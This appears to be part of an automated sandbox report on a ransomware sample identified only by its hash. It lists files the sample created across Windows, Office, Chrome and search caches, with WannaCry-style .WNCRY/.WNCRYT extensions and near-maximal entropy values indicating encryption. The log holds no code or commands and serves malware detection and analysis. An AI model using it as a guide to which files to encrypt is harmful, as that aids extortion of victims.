              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{6c5c99b8-fa5e-49d0-8af3-659a6305e839}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99498738738Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000009.db.WNCRYT entropy: 7.99940477277Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{9a386491-5394-47a0-a408-e4e3a9d60139}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99476570241Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000b.db.WNCRYT entropy: 7.99937129193Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\appsconversions.txt.WNCRYT entropy: 7.99987483157Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000d.db.WNCRYT entropy: 7.99929431799Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\appsglobals.txt.WNCRYT entropy: 7.99943924255Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\appssynonyms.txt.WNCRYT entropy: 7.9991871944Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\settingsconversions.txt.WNCRYT entropy: 7.99968463497Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\settingsglobals.txt.WNCRYT entropy: 7.99575206976Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\settingssynonyms.txt.WNCRYT entropy: 7.99842498605Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRYT entropy: 7.99975382433Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{2ce60361-e872-41fb-bae7-eec2f580d4fb}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99916748562Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Scans\mpcache-5F2FFB7A31DBA078D8F948F77F0FE9B82BEB1559.bin.DB.WNCRYT entropy: 7.99989098923Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{400a70c4-3e12-4cbe-805a-2dc7c298a033}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99917551213Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\A3CECAC7-AFEC-4136-AD26-4F02273A588C\en-us.16\stream.x86.en-us.db.WNCRYT entropy: 7.99961361071Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664308186704568.txt.WNCRYT entropy: 7.99829356619Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\A3CECAC7-AFEC-4136-AD26-4F02273A588C\x-none.16\stream.x86.x-none.db.WNCRYT entropy: 7.99988990958Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4d14c23e-7ce9-42c1-9a52-20871828d127}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99473133309Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db.WNCRYT entropy: 7.99648452498Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.WNCRYT entropy: 7.99218208093Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRYT entropy: 7.99147539543Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRYT entropy: 7.99251100793Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db.WNCRYT entropy: 7.99208243344Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.WNCRYT entropy: 7.99983875127Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.WNCRYT entropy: 7.99993492544Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.WNCRYT entropy: 7.99991638778Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.WNCRYT entropy: 7.99981579622Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRYT entropy: 7.99709550597Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRYT entropy: 7.99983727754Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRYT entropy: 7.99981878675Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRYT entropy: 7.99984736699Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRYT entropy: 7.99980519855Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRYT entropy: 7.99996027372Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRYT entropy: 7.99647746104Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.WNCRYT entropy: 7.99982635424Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.WNCRYT entropy: 7.99374163114Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRYT entropy: 7.99980591469Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\Desktop\s.wnry entropy: 7.998263053Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\Desktop\t.wnry entropy: 7.99727613788Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRYT entropy: 7.99959441244Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRYT entropy: 7.99723437288Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERC09F.tmp.csv.WNCRYT entropy: 7.99754477808Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRY (copy) entropy: 7.99959441244Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\WER\Temp\WERC09F.tmp.csv.WNCRY (copy) entropy: 7.99754477808Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\acrobat_sbx\acroNGLLog.txt.WNCRY (copy) entropy: 7.99369980005Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRY (copy) entropy: 7.99792560574Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRY (copy) entropy: 7.99973204144Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\X98HJ34F\hero-image-desktop-f6720a4145[1].jpg.WNCRY (copy) entropy: 7.99863285725Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652260521575.txt.WNCRY (copy) entropy: 7.99831718978Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652279466572.txt.WNCRY (copy) entropy: 7.99806948856Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652308544336.txt.WNCRY (copy) entropy: 7.99820232984Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652528024801.txt.WNCRY (copy) entropy: 7.99833031846Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652546374009.txt.WNCRY (copy) entropy: 7.99835443015Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652624730194.txt.WNCRY (copy) entropy: 7.99810896784Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652666852676.txt.WNCRY (copy) entropy: 7.99819340017Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652950926221.txt.WNCRY (copy) entropy: 7.998096778Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409653224421742.txt.WNCRY (copy) entropy: 7.99835021248Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409653524527350.txt.WNCRY (copy) entropy: 7.9983155161Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409655232786058.txt.WNCRY (copy) entropy: 7.99849639145Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409656564963692.txt.WNCRY (copy) entropy: 7.9986942799Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409657271224821.txt.WNCRY (copy) entropy: 7.99838222604Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658240427405.txt.WNCRY (copy) entropy: 7.99864950414Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658433494739.txt.WNCRY (copy) entropy: 7.99867381221Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658477995265.txt.WNCRY (copy) entropy: 7.99837000707Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658976474171.txt.WNCRY (copy) entropy: 7.99844015597Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659009848568.txt.WNCRY (copy) entropy: 7.99849179612Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659276420550.txt.WNCRY (copy) entropy: 7.99842334814Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659576386340.txt.WNCRY (copy) entropy: 7.99821974649Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659909628426.txt.WNCRY (copy) entropy: 7.99840959886Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664250150656855.txt.WNCRY (copy) entropy: 7.99829218332Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664250451283842.txt.WNCRY (copy) entropy: 7.99836071172Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{65911048-9234-4059-8bb1-0549c23de5a1}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99487953514Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{6c5c99b8-fa5e-49d0-8af3-659a6305e839}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99498738738Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{9a386491-5394-47a0-a408-e4e3a9d60139}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99476570241Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\appsconversions.txt.WNCRY (copy) entropy: 7.99987483157Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\appsglobals.txt.WNCRY (copy) entropy: 7.99943924255Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\appssynonyms.txt.WNCRY (copy) entropy: 7.9991871944Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\settingsconversions.txt.WNCRY (copy) entropy: 7.99968463497Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\settingsglobals.txt.WNCRY (copy) entropy: 7.99575206976Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\settingssynonyms.txt.WNCRY (copy) entropy: 7.99842498605Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{2ce60361-e872-41fb-bae7-eec2f580d4fb}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99916748562Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{400a70c4-3e12-4cbe-805a-2dc7c298a033}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99917551213Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664308186704568.txt.WNCRY (copy) entropy: 7.99829356619Jump to dropped file
